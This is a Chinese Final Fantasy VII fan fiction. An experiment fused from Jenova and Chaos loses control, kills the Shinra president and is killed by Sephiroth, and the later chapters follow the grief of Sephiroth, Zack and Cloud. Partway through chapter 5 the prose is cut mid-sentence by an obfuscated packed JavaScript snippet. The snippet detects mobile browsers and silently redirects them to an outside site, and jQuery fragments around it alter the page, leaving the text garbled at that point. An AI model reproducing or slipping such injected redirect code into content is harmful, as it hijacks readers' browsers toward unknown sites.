我没理会她的猜测,径直走向旁边一扇半掩着的门。门轴发出令人牙酸的“嘎吱”声,我推开它。里面像是个小会客厅,壁炉里积满了黑灰,几张蒙着白布(现在是灰布了)的沙发围成一圈,中间的茶几翻倒在地,碎裂的瓷片散落得到处都是。 地板踩上去软绵绵的,好像随时会塌陷下去。 角落里似乎有什么东西动了一下。 她也看见了,快步走过去,拨开垂落的破烂窗帘。 原来是一只肥硕的老鼠,被光线惊扰,“吱”地一声钻进了墙角的破洞里。 “切,没劲。”她撇撇嘴,对这种小插曲没什么兴趣。 我接着走到壁炉前,伸手摸了摸冰冷的石头壁炉架。上面刻着一些模糊的花纹,积满了厚厚的灰尘。指尖划过,留下一道清晰的痕迹。 这灰尘,摸起来有种奇异的细腻感,像某种磨得很细的骨粉。 捻了捻指尖的灰,我将其凑到鼻子前闻了闻。没有味道。或者说,只有一股陈旧的、干燥的味道。 “别什么都乱闻。” 女人拿刀柄不轻不重的敲了下我的脑袋,我忍住骂她的冲动,继续往旁边走,进了拐角的房间。 目光落在壁炉上方。 那里挂着一幅巨大的肖像画。画中是一个穿着考究、面容严肃的中年男人,站在他身后的是一个面容模糊的女人,还有一个穿着白大褂的眼镜男人,以及一个一身黑衣的男人。 我指着画像上那个戴眼镜的家伙。 “这不是宝条吗?” 女人随意的点了点头。 “看来这里确实有什么有趣的东西。” 毕竟宝条总是跟神罗莫名其妙的研究牵扯在一起。 我低头,看她突然显露出了有些紧张的神色,莹绿色的眸子微垂,于是我摸了摸女孩的脑袋。 “怎么,害怕了?” “我当然没有害怕,只是……真相真的重要吗?要不,我们回去吧……” 啧。 “就是怕了吧。” “没有!” 我扯了把她的银发后,收回手,继续往里走,她在我身旁亦步亦趋,小手牵着我的衣角。 这种程度的阴森,跟实验室里那些培养罐比起来,简直就是阳光明媚的度假村。 毕竟,除了战斗的环节,她很少出来过。 那面对那些的只能是我了。 拐角处的房间门敞开着,一股更浓重的霉味混杂着淡淡的、类似旧书页的纸张气味飘了出来。 像是个书房?或者餐厅? 我松开她的手,率先走了进去。她迟疑了一下,还是小碎步跟了上来,又轻轻拽住了我作战服的下摆。 胆小鬼。 “书房和餐厅连在一起?真奇怪的设计。” 她在我身后小声嘀咕,小脑袋探出来四处张望,那双莹绿色的眼睛在昏暗中闪烁着好奇的光芒,好像已经忘记了刚才的害怕。 “不过看起来这里没什么特别的嘛,书都烂掉了,饭也早就凉透了。” 她说着,居然走到那张长餐桌旁,伸出手指戳了戳桌面上的灰尘,画了个歪歪扭扭的笑脸。 幼稚。 我走到书架前,仰头看着那几本书。太高了,够不着。旁边的她也凑了过来,学着我的样子仰头看。 “要搬个椅子垫脚吗?”她提议道,指了指旁边一把勉强还算完整的椅子。 我敲了敲她的小脑袋后,轻轻一跃,就把最后的一本书抽了出来。 我低头看了看封面,她也凑过来。 上面似乎有烫金的字体,但在昏暗的光线下,我这个角度看不大清楚。 “《杰诺瓦计划早期研究报告:附录卷 III》?” “啊,这不是你的名字吗!” 她开始大呼小叫。 我扶了扶额。 “卡奥斯(Chaos),别再犯蠢了,你这样太丢脸了。” 她鼓起脸,大概是想骂我,但此刻不能发作。 于是伸出手翻开那本书,伴随着灰尘,接着是密密麻麻的字。 很好,我看着就开始头晕了。 正准备掏出终端拍照给萨菲罗斯,翻了翻口袋,终端居然不知所踪。 不会刚刚在翻墙的时候掉了吧?神罗的制服什么时候这么漏了? “你才蠢!杰诺瓦(Jenova)把东西都能弄丢。” 她开始指着我笑。 我啧了一声,没好气地把那本厚得像砖头一样的报告拍在她怀里。扬起的灰尘让她又是一阵咳嗽,连带着后退了两步。 “拿着,你不是想看吗?自己翻去。字这么多,看得我眼睛疼。” 我揉了揉太阳穴,感觉不是看字看累的,是被她吵累的。 那本书对于她来说还是太重了,女孩啪唧一下跌坐在地上。 “你把书拿着,我去找终端。” 说着,我直接离开了,她蹲坐在地上,那双莹绿色的眸子不安的闪烁着。 蠢货,一个人有什么好怕的? 就应该给她练练胆子。 —— 过了不知道多久(我觉得很久!)。 我坐在地上,腿都要麻了。 “杰诺瓦……” “杰诺瓦!” 我没有害怕,只是怕她估计乱跑又弄出什么乱子 ……对,就是这样…… 放下手里那本大书,我爬起来,接着小心翼翼的往外面的走廊探出头。 屏住呼吸,我侧耳倾听。 死寂。 连老鼠跑动的声音都没有了。 她……不会丢下我了吧? 可恶,我,我也不想跟她呆在一起的啊! 谁让我们被强行融合在一起,那个自大傲慢的—— 卑鄙的天外种。 “杰诺瓦……” 你在哪? "Jeno——va!" 在哪? 很少见到她不在。 我得找到她。 “嗯……” 我才不是害怕,只是,一个人的话…… 捡起地上的大太刀,我将其比划了一下。因为现在的身材娇小,拿起来的时候显得有些奇怪。 但我可是从小战斗到大。 我提着刀,开始寻找她。 那家伙呢?那个总是自以为是,觉得能掌控一切的家伙。 继续往前走,走廊比我想象的还要长好多。 好像怎样也走不到尽头。 耳畔只有我的脚步声,还有那把半人长的大太刀时不时触地的轻响。 在拐角的地方,我瞥见了一个正在半蹲着,捂着脸的金发小孩。 是生命啊。 ”……“ 在哭? 我微微外头,用刀柄戳了戳他的腰。 ”你知道jenova在哪吗?虽然生命是我的目标,但我先要解决掉她。“ 那蹲在地上、肩膀微微耸动的小小身影猛地一颤,像是被惊醒的兔子。 他缓慢地抬起头,一张沾着泪痕、显得有些脏兮兮的小脸出现在视野里。金色的头发乱蓬蓬的,有几缕还粘在湿漉漉的脸颊上,那双蓝色的眼睛因为哭泣而红肿着。 但是却什么也没说。 我撇撇嘴,就准备继续往前走,刚刚迈了一步,一只稚嫩的手伸了出来,攥住了我的脚踝。 “放开。” 我的声音在空旷的走廊里显得格外清晰,甚至带了点回音。 他没放,反而攥得更紧了。 嘴唇翕动着,似乎想说什么,但最终只发出了几个模糊的、不成调的音节。 像小猫呜咽。 “喂,我说放开,”我有些不耐烦了,用空着的那只脚踢了踢地面,“你挡着我找人了。一个很吵的银发女人,和我长得有些像,看见没有?” 小孩摇了摇头,那头乱蓬蓬的金发也跟着晃动。他依旧死死抓着我的脚踝,不肯松手。 “没看见?那算了。” 我抬脚,想把他的手甩开,但那小手像长在了我的靴子上一样,纹丝不动。 真麻烦。 我反手握紧刀柄,稍稍用力,将他往后甩开。 那小孩被刀柄的力道推得踉跄了几步,一屁股跌坐在冰冷的地板上,发出“咚”的一声闷响。 他抬起头,那双红肿的蓝眼睛怔怔地看着我。 我收回刀柄,没再理会他。 继续往前吧。 啪嗒啪嗒。 走廊里回荡着我的脚步声。 一个拐弯,面前居然只剩下一堵墙。 ? "……" 我转过头,与一只黑毛的大狗面面相觑。 它好像受伤了,皮毛之下,一道巨大的血色的伤口撕裂了皮肉,带着点血腥味。 我问它。 “你有看到jenova吗?” 狗趴在地毯上,低低的呜咽一声。 这是什么意思,见到了还是没见到。 那只黑毛大狗又叫了一声,湿漉漉的鼻子翕动着,呼出带着血腥味的热气。它抬起一只前爪,动作迟缓而笨拙,像是想抓住我的裤脚,阻止我离开。 “啧,你也挡路?” 我抬脚准备绕过它,但它固执地挪动了一下身体,庞大的身躯正好挡住了狭窄的过道。它再次发出呜咽声,声音更大了一些,带着一种焦急的意味。 “汪!呜汪!” 真麻烦。 我抬起刀,用刀背不轻不重地推了它一下。 它因为受伤而显得格外虚弱,被我这么一推,身体晃了晃,勉强向旁边让开了半个身位。 血腥味更浓了。 它侧腹那道巨大的伤口又渗出了新的血液,染红了身下的地毯,那颜色深得发黑,和它本身的毛色几乎融为一体。 我没再看它。 迈步从它身边挤了过去。 面前的走廊又恢复了正常。 ”啪嗒,啪嗒。“ 我的脚步声。 杰诺瓦到底去哪了? 是知道我要杀她。 所以躲起来了吗? 虽然我们之间被迫相处了十几年,但该对天外种动手的时候,还是要动手。 周围的场景慢慢的有些不同了,不知是否是我的错觉,那如出一辙的地毯开始慢慢出现了我不清楚种类的黑色霉菌,带着死亡的气息。 越来越多,蔓延的很快。 它们爬到了墙上。 它们爬到了天花板上。 它们爬到了吊灯上。 它们爬到了我的脚边。 它们爬到了我的靴子上。 它们爬到了我的身上。 它们爬到了我的脸上。 它们爬过了我的头顶。 于是,我原地观察了一会。 等回过神,抬起头,注意到不远处有一个银色的模糊身影。 “找到你了。” 越靠近,那股熟悉的血腥味就越加浓郁。 “……” 是她。 银发女人的身体被一把巨大的太刀贯穿,她正死死的盯着我,那对碧绿的眸子有些涣散。 啊。 怎么死了? 我凑近,俯下身,观察她的伤口,因为动作,一些黑色的小家伙掉到了她的身上。 黏糊糊的。 杰诺瓦的尸体真恶心。 嫌弃的用手撩开她前额稍有遮挡的发丝。 我才注意到,那对眼睛—— 盯着我……? 不,是我的背后。 我猛地转过头。 扑哧。 血肉被撕裂。 周围是混乱的场景,办公室内处处都是刀痕。 身旁,一位西装革履的中年男人被大太刀钉死在桌面上。 这是……神罗总裁? 我缓缓转过头,与手握太刀的人四目相对。 我从没见过萨菲罗斯这种表情。 那对和我相似的,散发着魔晄色彩的眸子里,有什么东西流动着,闪烁着。 啊。 原来。 他是…… “……je……no……va……” [2] 【关于S-02的失控报告】 【鉴于此次科学部的重大失误,一些内部的隐秘资料在要求下公开给各部门高层,请查验。】 【对S-02的内部资料概括解析:S-02是S计划的二号产品,因为对S-01的成功难以复制,Hojo(宝条)博士选取了另一个方案,让我们发现的古代种细胞(后事实证明jenova并非赛特拉)与同样能够聚合生命的Chaos融合,制造出了S-02。】 【来自星球的Chaos和来自外星的jenova一同融合,两个完全对立力量的“毁灭”部分存在居然平衡。】 【成功后,Hojo博士将其宣称为”奇迹“。】 【注(来自Omega Report 7):Chaos是Omega的对立面,在星球濒危时,Omega会引导生命之流,与其一齐离开这个星球。Chaos负责将一切生命收割毁灭,将他们送回生命之流,后经证实,Chaos可以被提前激活,开启它的“职能”。】 【第一次混乱:在五台战争期间,S-02因大量收割,导致jenova与Chaos的平衡不稳,Chaos更多的占据主体,进行了长达三个月的无规则屠杀。而后由时任的first特种兵杰内西斯带回,科学部寻求到了部分原初魔晶石后将其做成臂环,暂时稳定了S-02的平衡。】 【第二次混乱(近期的事案):】 【S-02在一次私底下的行动时前往尼布尔海姆(神罗特种兵(Soldier)部门等待问责),疑似尼布尔海姆中原先作为研究的jenova原型/在神罗公馆下沉睡的文森特·瓦伦丁对其产生不明影响,致使平衡失效】 【一次镇压:大概过了16小时,目标出现在了米德加外围,先是单独拆除引爆了3号,6号魔晄炉。目标疑似更改,前往神罗大楼(并不确定是否有无规定路线)派遣的神罗军被剿灭,唯一存活的是名为克劳德·斯特莱夫的神罗兵(详情见S-02的人际调查报告)】 【二次镇压:第二波到达的是first特种兵扎克斯带领的小队。战斗持续约15分钟。1st无明显攻击意向(详情见S-02的人际调查报告),在击伤1st后,第二次镇压失效。目标继续前往神罗大厦,袭击了当时正在顶层检查报表的神罗总裁,致其身亡】 【三次镇压:在外执勤的first特种兵萨菲罗斯被传唤回米德加,与目标发生争斗。战斗一共持续大约20分钟,萨菲罗斯选取了拖延时间的策略(详情请见S-02的人际调查报告),在遭受多次接近致命的损伤后,萨菲罗斯成功击杀目标】 【总结:这是神罗史上最严重的实验体失控事件,不仅造成了大量财产损失,还导致了领导层的减员,我们不得不开始反思Soldier计划的稳定性。】 【注:不久前被派遣在外的路法斯·神罗目前已返回米德加】 【Hojo博士的原话记录:“我的奇迹失控了?这只是它原本的力量。” “这一天迟早会到来!弹劾我制造出了定时炸弹的人简直愚钝,那样纯粹的冲突与平衡……”(接下来的话语因人道主义被屏蔽)】 【拉扎德部长的原话:“我们会记录在此次危机中逝去的特种兵” “这是一次科学部创造的灾难,不仅是Soldier部门的失误,同时是神罗高层决策的重大失误,诸君共勉”】 [3] 神罗大厦的顶层办公室,曾经象征着权力与秩序的地方,此刻如同被风暴席卷过的屠宰场。 空气中弥漫着浓稠的血腥味,混杂着硝烟、烧焦的绝缘体气味以及某种…金属被强行撕裂的刺鼻味道,浓得几乎化不开,刺激着每一个进入者的鼻腔和神经。 地面上铺着厚厚的碎玻璃渣和扭曲的金属零件,混合着暗红色的、已经开始凝固的血泊。墙壁上布满了狰狞的裂痕和弹孔,还有大片喷溅状的血迹。 巨大的落地窗碎裂了大半,寒冷的夜风从破洞中灌入,吹动着悬挂在天花板上、只剩下一半骨架的吊灯残骸。 萨菲罗斯那身标志性的黑色长风衣早已被染成了深褐色,破损不堪,沾满了血污和灰尘。银色的长发因为长时间的高强度战斗,有些凌乱,有几缕甚至黏在了他的脸颊上,混合着干涸的血迹。 他微微低着头,视线凝固在他怀中抱着的那个娇小躯体上。 正宗的刀锋,还插在她的胸口。 时间仿佛在这一刻凝固了。 萨菲罗斯一动不动。 几个穿着白色研究服的身影小心翼翼地靠近。他们是接到紧急通知赶来的科研部人员,负责处理“后续事宜”。 “萨…萨菲罗斯大人?” 其中一个年纪稍长、看起来像是负责人的研究员鼓起勇气,试探性地开口,声音因为恐惧而微微发颤,在这死寂的办公室里显得格外突兀,“我们…我们是来…” 他的话还没说完,就被另一位同事用胳膊肘捅了一下,示意他闭嘴。 现在的情况很明显不对劲。 不知过了多久。 萨菲罗斯忽然主动松开了手。 步履罕见的带了点踉跄,他径直走出办公室,无视了路过工作人员的目光。 他不知道自己现在是什么表情。 可能不是很……良好。 一股难以言喻的、如同实质般的窒息感扼住了自己的喉咙。 走到一半,萨菲罗斯猛地弯下腰,剧烈地咳嗽起来。 “……” 每一次咳嗽都牵扯着身上的伤口,带来细密的疼痛。 他用手半撑住冰冷的墙壁,指尖下的金属墙面传递着刺骨的寒意。 低着头,银色的发丝垂落下来,遮住了萨菲罗斯的脸。汗水混杂着血水,从额头滑落,滴在地板上,晕开一小片深色的污渍。 就这样维持着弯腰的姿势,他剧烈地喘息着,身体因为脱力和某种无法言说的情绪而微微颤抖。 “……” 此刻的走廊,空无一人。 不,不能再想了…… 萨菲罗斯回到了自己的宿舍。 他缓缓抬起手,动作有些僵硬,指尖触碰到左肩铠甲连接处一道狰狞的裂口,那是被某种力量强行撕开的痕迹。指尖下的金属冰冷而粗糙。他只是触碰了一下,便如同被烫到一般,猛地收回了手。 视线无意识地扫过房间。 书架上整齐地排列着各种战术、历史类书籍,都是硬皮精装,一丝灰尘也无。旁边的小桌上,放着一个透明的玻璃杯,杯底还残留着一点水渍,那是她之前忘记的—— 不,没什么。 “呵…” 一声极轻的、破碎的音节从他喉咙深处溢出。 不像是笑声。 萨菲罗斯应该去清洗。 他知道。 保持整洁和最佳状态,是刻入他骨子里的习惯,是身为神罗第一战士的基本素养。 但身体却不听使唤。四肢如同灌了铅一般沉重,每一个最简单的动作,比如抬起手臂,都需要耗费巨大的意志力。 萨菲罗斯最终还是动了。 步伐僵硬地走向浴室,每一步都像踩在碎玻璃上,脚下的地板发出轻微的吱呀声,在这死寂的房间里格外刺耳。 冰冷的灯光照亮了浴室狭小的空间。镜子里映出一张有些陌生的脸。 银色长发上的血迹干涸了。 一时之间,萨菲罗斯好像看不清自己的表情,只看到了自己的眼睛。 那双魔晄绿的眼眸—— 和她一样。 萨菲罗斯还记得她那时的眼神。 直勾勾的盯着他——盈满了纯粹的杀意。 他的呼唤,她听不见,他的动作,她仿佛也感受不到。 她想杀了他。 那种冰冷的,纯粹的杀意——萨菲罗斯感觉到了。 那还是她吗? 她发生了什么? 他不知道。 那不是她,他只能被迫了结了她。 他亲手终结了那份独一无二的“连接”。 萨菲罗斯强迫自己移开视线,不再看镜子。 转动花洒的开关,冰冷的自来水哗啦啦地冲刷下来,浇在他沾满血污的头发和身体上。 水流很急,带着刺骨的寒意,但他好像感觉不到。水珠顺着银色的发丝滑落,冲刷着脸颊上的血痕和污渍,留下浅淡的水痕。 机械地抬起手,想要搓洗身上的血污。那些暗褐色的印记在水的冲刷下变得模糊,晕染开来,将原本清澈的水染成了浑浊的淡红色。他看着那些红色的水流从自己身上流下,汇聚在脚边,然后被排水口吞噬。 啪嗒。 啪嗒。 视野里的水流,渐渐变成了粘稠的、刺眼的鲜红。 如同她胸口绽开的那朵血花,如同正宗刀锋上滴落的最后一滴温热。 清洗的动作停止了。 萨菲罗斯只是站在那里,任由冰冷的水流不断冲刷着他僵硬的身体。 水打湿了他全身,长长的银发湿漉漉地垂落着,水珠不断从发梢滴落,砸在地面上,发出单调而持续的“滴答”声。 不知过了多久,他终于关掉了花洒。 水声停止,浴室里只剩下他粗重而压抑的呼吸。他没有拿毛巾擦拭,只是顶着一身湿漉漉的水汽,赤着脚,一步一步地走回了卧室。 冰冷的水珠顺着他的发梢、他的身体滴落在光洁的地板上,留下一个个深色的水渍印记。 房间里依旧保持着他刚刚离开时的样子。 书架,桌子。 还有那个空了的玻璃杯。 [4] "……前,前辈!" 眼皮如同灌了铅般沉重,扎克斯费力地睁开眼睛,映入眼帘的是一片刺眼的、冷白色的天花板。 消毒水的气味弥漫在空气中,浓烈得有些呛鼻。他动了动手指,全身的肌肉立刻传来一阵尖锐的疼痛。 他下意识地想抬手去摸小腹,那里曾被一股蛮横的力量贯穿,留下了足以致命的伤口。但此刻,隔着薄薄的病号服,指尖传来的只有一片平坦光滑的皮肤,以及一道已经愈合、颜色尚浅的疤痕。 神罗的医疗技术,或者说他自身的恢复力,再一次创造了奇迹。 但是—— 她呢? 他记得自己冲了上去,像以往无数次训练或者胡闹时那样,想要拉住她,想要唤醒她。 扎克斯喊着她的名字,用尽了全身的力气,可是她好像根本听不见。她的动作快得超乎想象,力量更是恐怖得令人绝望。她看着他的眼神,不再是看那个咋咋呼呼跟在她身后、偶尔会被她捉弄但更多时候是并肩作战的“小弟”,而是像在看路边一块碍事的石头,一件可以随手清除的障碍物。 然后,就是一阵剧痛,视野被瞬间染红,意识在急速坠落。 “前辈……” 扎克斯低声呢喃,干涩的喉咙发出一声沙哑的呻吟。 他没能拦住她。 他甚至没能让她稍微清醒一点点。 “醒了?” 一个平静的女声在旁边响起,打断了他的回忆。 扎克斯转过头,看到一个穿着白色护士服、戴着口罩的女人正站在床边,手里拿着一个记录板,正在上面写着什么。她的动作熟练而麻利,眼神平静无波,似乎对病床上躺着的是谁,经历过什么,都漠不关心,只是在完成自己的工作。 “你感觉怎么样?有没有哪里不舒服?头晕吗?恶心?”护士放下记录板,开始进行例行的询问,语速平稳,听不出任何关切,“你的伤口恢复得很好,生命体征也稳定了。再观察一天,如果没有异常,就可以出院了。” “我……昏迷了多久?” 扎克斯声音沙哑地问。 “一天。” 护士简洁地回答,同时伸手按了一下床头的呼叫铃,“主治医生很快会过来给你做最后的检查。” ……检查? 他挣扎着想要坐起来,但全身的肌肉立刻发出强烈的抗议,尖锐的疼痛让他倒吸一口凉气,又跌回柔软的病床上。 “别乱动,你的伤口虽然愈合了,但身体还需要恢复。” “护士小姐,”扎克斯的声音因为干涩而有些嘶哑,他努力让自己的语气听起来平静一些,“那个……应该有个人跟我一起被送来的人吧?她…她还好吗?也是重伤吗?” 他不敢直接问“前辈”。 因为他记得那一天混乱的场景里,她好像完全变了一个人。他怕从护士口中听到什么不好的消息,但心底那份强烈的担忧又催促着他必须问清楚。 护士手上的动作停顿了一下,她抬起头,透过口罩,那双平静无波的眼睛看了扎克斯一眼,没有任何情绪流露。 “关于其他伤员的情况,不方便透露。” 她公式化地回答,声音平板,“请安心休养,你的身体恢复是目前最重要的事情。”她转过身,整理了一下推车上的医疗用品,“医生马上就到。” “不方便透露是什么意思?”扎克斯追问,声音不由得拔高了一些,“她是不是伤得很重?是不是还在抢救?告诉我!求你了!”他挣扎着又想坐起来,但牵动了伤口,疼得他龇牙咧嘴。 很快,病房门被推开,一个穿着白大褂、戴着金丝边眼镜、看起来有些年纪的医生走了进来,他身后还跟着两个同样穿着白大褂的年轻医生,大概是助手或者实习生。 “菲尔先生,感觉怎么样?” 主治医生走到床边,拿起扎克斯床尾的病历板翻看着,语气温和,“恢复速度很惊人啊,不愧是优秀的特种兵。腹部的贯穿伤几乎完全愈合了,内部器官也没有发现明显损伤。再观察一天,确认没有并发感染或者其他后遗症,你就可以离开了。” 医生说话的同时,示意旁边的助手开始为扎克斯检查身体。冰冷的听诊器贴在胸口,血压计的袖带缠上手臂,手电筒的光线照进眼睛。扎克斯忍受着这些检查,但他的注意力完全不在这些上面。 “医生,我问你,”扎克斯抓住医生放下病历板的空隙,急切地问道,“那天的事情你们都知道吧?一个银色头发的女人,她怎么样了?她是不是也在这里治疗?” “菲尔先生,你现在需要的是休息。”医生避开了他的问题,语气变得严肃了一些,“关于这次事件的其他情况,神罗内部会有统一的通报。请不要胡思乱想,安心配合治疗。” “我没有胡思乱想!” 扎克斯激动地反驳,他想抓住医生的白大褂,却被旁边的助手不着痕迹地挡开了,“她到底怎么样了?!你们告诉我实话!” 无人应答。 等医生和护士离开后,病房内就剩下了他一人。 为什么…… 杰内西斯说的话他听不懂。 安吉尔突兀的离世了。 现在,那个总是带着他往前的前辈…… 她可是…… “……” 不行,不能再这样干等着! 扎克斯深吸一口气,强忍着腹部传来的阵阵刺痛,双手撑住床垫,再次尝试坐起来。肌肉撕裂般的疼痛让他闷哼一声,额头上瞬间沁出冷汗。他咬着牙,一点一点地挪动身体,每动一下都感觉伤口像是要重新裂开。 终于,他勉强靠着床头坐了起来,视野因为快速的动作和疼痛而有些发黑,他用力眨了几下眼睛,才驱散那阵眩晕感。 扎克斯踉跄着下床,身上还穿着那身单薄的病号服。脚踩在冰冷的地板上,他打了个寒颤。他需要他的制服,他的武器,还有,他的终端! 终端!对了! 扎克斯眼睛一亮,他记得昏迷前终端好像是放在制服口袋里的。他的制服呢? 他在小小的病房里快速扫视,很快在角落的衣柜里找到了叠放整齐的衣物。那不是他熟悉的特种兵制服,而是一套干净的、普通的深蓝色便服。他原本那套沾满血污和破洞的制服显然已经被处理掉了。 扎克斯拉开衣柜门,拿起那套便服。入手是柔软的棉质布料,不是他习惯的硬挺材质。他在衣服口袋里摸索着,很快找到了他的终端。 谢天谢地! 他迫不及待地按亮屏幕,手指因为急切而有些颤抖,快速地点开了通讯录。 他要联系萨菲罗斯! 那种情况,一定是萨菲罗斯来收尾的,他一定知道前辈现在的情况! 号码拨了出去,听筒里传来“嘟——嘟——”的忙音。 没人接。 扎克斯皱紧眉头,又拨了一遍。 还是忙音。 ……是在忙吗? 扎克斯抿了抿唇,他竭力思考着战前自己收到的报告,回忆着那轻轻瞥过的只言片语。 【魔晄炉因“不明人员”造成损毁,神罗军一次镇压失效……】 他立马下滑联系人。 [5] 克劳德在那天的风波中没有受什么伤。 阻隔在她身前的其他士兵都死了。 他冲上去,迫切的想要追上她的脚步,但完全被无视了。 她的速度太快了—— 还是说自己太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479179|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弱小了呢? 克劳德在她离开被摧毁的魔晄炉的现场后,尽全力的赶回了神罗大厦,前往了动静最大的——顶层。 往前奔跑之时,他看见了。 被一堆穿着白大褂的研究人员们拿特殊材料包裹着的,失去血色的,僵硬的…… 克劳德的脚步变慢了,一下一下的减速,最后,他停在原地。 回过头,像是在确定什么似的,他盯着那个方向。 直到那些研究人员离开,克劳德才回过神。 她…… 死了? 克劳德知晓,那种程度的失控,一定是由萨菲罗斯大人执行的。 萨菲罗斯大人,会杀了她吗? 会吗? …… 接受完检查和清理,克劳德回到了自己的宿舍。 第一时间,他打开了终端。 在一切未发生之前—— 【我要去你家乡玩了,本地人来点游玩建议。】 当时的他…… “……” 她去之前发来的消息,他当时的回复…如果,如果他当时能更坚持一点,能多问一句,是不是一切就会不同?如果他在现场,是不是能做些什么? 不。 他连她的速度都跟不上,连靠近她都做不到。 又能做什么呢? 像那些被轻易撕碎的士兵一样,成为她失控力量下的又一个牺牲品吗? 无力感像冰冷的潮水将他淹没。 克劳德盯着天花板,一动不动。 第二天。 克劳德没有收到她的死亡通告。 甚至连个“殉职”的邮件都没有。 倒是很快就接到了关于前任总裁“卸任”,原先的副总裁路法斯即将带领神罗继续走下去之类的邮件。 神罗依旧在运转着。 克劳德把终端丢到床上,起身走到窗边。 窗外是神罗大厦内部整齐划一的建筑群,士兵们穿着制服,三三两两地走过,步伐匆忙,表情严肃。空气中弥漫着一股不同寻常的紧张气氛。 虽然高层极力封锁消息,但顶层的变故和昨天的混乱不可能完全瞒过所有人。克劳德能感觉到,那些低声交谈的士兵们,眼神里都带着揣测和不安。 “听说了吗?顶层昨天晚上好像出大事了。” 一个靠在墙边抽烟的士兵压低声音对同伴说。 “谁不知道啊,动静那么大。我听说……是杰内西斯干的!” 另一个士兵神神秘秘地回应,“他不是叛逃了吗?居然还敢回来袭击总部!” “不止杰内西斯吧?好像还有别的什么…怪物?我站岗的时候看到好几个研究部的人抬着一个盖着白布的东西下来,那形状…啧啧…” “嘘!小声点!不想活了?上面下了封口令的!就当什么都没发生,知道吗?新总裁刚上位,这时候别惹麻烦。” 士兵们的议论断断续续地飘进耳朵,克劳德面无表情地听着。 怪物?他们是在说她吗? 那个被白色裹尸布包裹着的、僵硬冰冷的身躯? 她在他眼前展现过那样恐怖的力量,摧毁魔晄炉,轻易屠戮神罗军,最后甚至杀死了神罗总裁。 她是……怪物吗? 可是…她也会拉着他的袖子,兴奋地说要带他去“执行机密任务”,会得意地给爱丽丝科普路边的野花(虽然是现学现卖),会在飙车后得意洋洋地问他“帅不帅”,会承诺等她当上“盖亚皇帝”后封他做“星际战士”,会把储存的零食给他。 那样的她,真的是怪物吗? “为什么会变成那样?”克劳德低声自语,手指无意识地攥紧了窗框冰冷的金属边缘,“尼布尔海姆…到底发生了什么?” 就在此时,床上的终端响动,他站立了一会,才走过去。 点击接通。 扎克斯焦急的声音。 “克劳德!你没事吧?太好了……你接了电话……” 他几乎凝固的思绪缓缓转动,克劳德握着终端的手指下意识地收紧,指尖冰凉。 扎克斯,他还不知道。他不知道后来发生了什么。 “我,我没事。” 克劳德的声音干涩得厉害,仿佛很久没有说过话一样,勉强从喉咙里挤出这几个字。 “没事就好!没事就好!” 电话那头的扎克斯如释重负地松了口气,声音听起来放松了不少,“我刚才醒过来,到处都找不到人,打萨菲罗斯大人的电话也没人接,急死我了!我还以为你也——” 他说到一半,突然顿住了。 克劳德沉默着,不知道该如何回应。 “克劳德?你怎么不说话?是不是哪里不舒服?” 扎克斯察觉到了他的沉默,他的语气再次变得担忧起来,“你是不是也受伤了?昨天的情况那么乱,我后来就没意识了,到底发生什么事了?” “我没有受伤,”他深吸一口气,努力让自己的声音听起来平稳一些,视线落在窗外那些行色匆匆的士兵身上,“只是一些小擦伤。昨天,很混乱。” 只能给出这样含糊的回答。 “混乱?有多混乱?我后来就昏过去了,只记得前辈她好像不太对劲,力量变得好可怕……” 扎克斯的声音低了下去,带着显而易见的茫然和困惑,“后来呢?萨菲罗斯大人来了吗?是他把事情解决的对不对?” 仿佛只要那位英雄出现,一切问题都能迎刃而解。 “萨菲罗斯大人,他来了。” 克劳德艰难地说道,每一个字都重若千斤。 “太好了!” 扎克斯的声音立刻恢复了些许神采,“我就知道!萨菲罗斯大人一定能搞定的!那,那前辈呢?她是不是受伤了?她被送到医疗部了吗?为什么我问护士和医生,他们都不肯告诉我?” 一连串的问题如同密集的雨点砸向他,让克劳德几乎无法呼吸。 他能想象出电话那头扎克斯焦急等待答案的样子,那双总是充满阳光的蓝色眼睛此刻一定写满了担忧和不安。 “克劳德?前辈她到底怎么样了?你告诉我啊!”见他迟迟没有回答,扎克斯的语气变得更加急切,甚至带上了一丝哀求。 “她……” 张了张嘴,他却发现那个残酷的事实如同鱼刺般卡在喉咙里,怎么也吐不出来。 要怎么告诉他?用什么样的语言才能描述那冰冷的结局? “我……离开的时候……看到,她,然后……” “什么……?” “我……” 克劳德咬紧了牙关,脑海中再次浮现出那个被白色裹尸布紧紧包裹的身影,研究人员们面无表情地将其抬走,动作迅速而冰冷,仿佛在处理一件没有生命的物品。 他记得那布单下隐约勾勒出的轮廓,脆弱得不可思议。 和他记忆中那个总是充满活力、能轻易把他掀翻的人完全不同。 “我看到……他们抬着一个人下来了,用白布盖着……” 克劳德的声音越来越低,说到最后几乎细不可闻。 他不敢直接说出那个名字,甚至不敢用“她”来指代,好像这样就能回避那个残酷的事实。 “白布?盖着白布是什么意思?”扎克斯的声音瞬间沉了下去,带着不可置信,“为什么盖着白布?是受伤太严重了吗?!克劳德!你看清楚了吗?!那个人是谁?!是不是前辈?!” 扎克斯的声音带着哭腔,他显然已经意识到了某种可怕的可能性,但他不愿相信,迫切地需要克劳德给他一个否定的答案。 “我,我没看清脸,”克劳德闭上眼睛,深吸了一口气,试图稳住自己的情绪,但声音里的颤抖却更加明显了,“光线很暗,他们走得很快。但是,那头发…是银色的……而且,胸口那里,好像…颜色很深……” 他艰难地描述着,每一个字都像是在用刀割自己的喉咙。 电话那头陷入了死一般的沉寂。 只有扎克斯粗重而压抑的呼吸声,透过电流,清晰地传到克劳德的耳朵里。 那声音听起来如此痛苦,仿佛有人用手扼住了他的咽喉,让他无法呼吸,也无法发出任何声音。 克劳德握着终端,手心全是冷汗。他不知道自己还能说些什么,也不知道该如何安慰电话那头濒临崩溃的朋友。 他甚至连一句“节哀”都说不出口,因为连他自己都还无法完全接受这个事实。 为什么? 尼布尔海姆到底发生了什么? 为什么她会突然失控? 为什么萨菲罗斯大人会…… 